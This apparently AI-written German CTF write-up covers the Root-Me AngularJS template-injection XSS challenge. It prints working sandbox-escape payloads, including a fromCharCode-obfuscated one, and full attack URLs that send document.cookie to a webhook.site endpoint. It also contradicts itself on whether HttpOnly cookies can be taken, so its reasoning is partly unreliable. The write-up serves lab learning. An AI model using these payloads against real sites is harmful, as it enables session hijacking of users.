Skip to content

Root-Me XSS Dokumentation

🧩 Challenge-Ziel

Ziel: Die Session-Cookies des Admin-Bots stehlen, indem eine AngularJS Template Injection ausgenutzt wird, um den Admin auf eine eigene Webhook-URL umzuleiten.​


❌ Was nicht funktioniert hat

1. Direkte Nutzung von document.cookie

  • Versuch: Einfache Payloads wie:
{{constructor.constructor('document.location="https://webhook.site/617db51b-f86d-4a0b-9234-193fadfd4ce4?c="+document.cookie')()}}

und umgewandelt in:

http://challenge01.root-me.org/web-client/ch35/index.php?name=%7B%7B%27a%27.constructor.prototype.charAt.constructor%28%27location%3D%22https%3A%2F%2Fwebhook.site%2F617db51b-f86d-4a0b-9234-193fadfd4ce4%3Fc%3D%22%2Bdocument.cookie%27%29%28%29%7D%7D
  • Ergebnis: Keine Fehlermeldung, aber es wurden keine Cookies an den Webhook gesendet.

  • Grund: Die Session-Cookies sind mit dem HttpOnly-Flag versehen, wodurch sie für JavaScript nicht zugänglich sind.​

2. Selbsttest im eigenen Browser

  • Versuch: Den Payload im eigenen Browser ausführen.

  • Ergebnis: Keine Cookies wurden an den Webhook gesendet.

  • Grund: Moderne Browser schützen HttpOnly-Cookies vor JavaScript-Zugriff, selbst wenn der Payload korrekt ist.​

✅ Was funktioniert hat

1. Verwendung von fromCharCode zur Umgehung von Filtern

✨ Schritt 1: Deinen String in ASCII-Codes umwandeln

Der umzuwandelnde String:

location.href='https://webhook.site/617db51b-f86d-4a0b-9234-193fadfd4ce4?c='+document.cookie


Hier dein fertiges fromCharCode()-Array:

108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,54,49,55,100,98,53,49,98,45,102,56,54,100,45,52,97,48,98,45,57,50,51,52,45,49,57,51,102,97,100,102,100,52,99,101,52,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101


📦 fertiger Payload:

{{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,54,49,55,100,98,53,49,98,45,102,56,54,100,45,52,97,48,98,45,57,50,51,52,45,49,57,51,102,97,100,102,100,52,99,101,52,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))()}}

✅ Komplett fertige URL zum Absenden (für dein Contact-Formular):

NICHT ENCODED:

http://challenge01.root-me.org/web-client/ch35/?name={{x=valueOf.name.constructor.fromCharCode;constructor.constructor(x(108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,54,49,55,100,98,53,49,98,45,102,56,54,100,45,52,97,48,98,45,57,50,51,52,45,49,57,51,102,97,100,102,100,52,99,101,52,63,99,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))()}}

📣 Wichtig:

✅ Webhook https://webhook.site/617db51b-f86d-4a0b-9234-193fadfd4ce4 wird angesprochen.

?c= wird ans Ende gehängt, damit dein Cookie auch ankommt.

✅ Verschleierung über fromCharCode, damit der Adminbot es schwerer hat, den Angriff zu erkennen.

🛡️ Sicherheitsmechanismen in AngularJS

1. AngularJS-Sandbox

AngularJS verwendet eine Sandbox, um den Zugriff auf gefährliche Objekte wie window oder document innerhalb von Template-Ausdrücken zu verhindern. Diese Sandbox prüft Ausdrücke und blockiert solche, die potenziell schädlich sein könnten. Allerdings wurden im Laufe der Zeit mehrere Methoden entdeckt, um diese Sandbox zu umgehen, insbesondere in älteren AngularJS-Versionen. ​portswigger.net

2. Eingebaute XSS-Schutzmechanismen

AngularJS bietet standardmäßig Schutzmechanismen gegen XSS-Angriffe. Dazu gehört die automatische Escapierung von Daten, die in Templates eingebunden werden. Allerdings können bestimmte Konstruktionen, wie z.B. die direkte Verwendung von innerHTML oder die Nutzung von bypassSecurityTrustHtml(), diese Schutzmechanismen umgehen. ​pragmaticwebsecurity.com+1Angular+1

🔍 Umgehung der Sicherheitsmechanismen

Um die Sicherheitsmechanismen zu umgehen, wurde eine Payload verwendet, die den fromCharCode-Ansatz nutzt, um den schädlichen Code zu verschleiern. Dies hilft, einfache Filter zu umgehen, die bestimmte Zeichen oder Wörter blockieren könnten.

📌 Fazit

Die Sicherheitsmechanismen in AngularJS, wie die Sandbox und automatische Escapierung, bieten einen gewissen Schutz gegen XSS-Angriffe. Allerdings können sie durch bestimmte Techniken umgangen werden, insbesondere in älteren Versionen oder bei unsachgemäßer Verwendung von AngularJS-Funktionen. Es ist daher wichtig, stets die neuesten Sicherheitspraktiken zu befolgen und Anwendungen regelmäßig auf Schwachstellen zu überprüfen.​

Wenn du weitere Informationen oder eine detailliertere Analyse benötigst, stehe ich gerne zur Verfügung.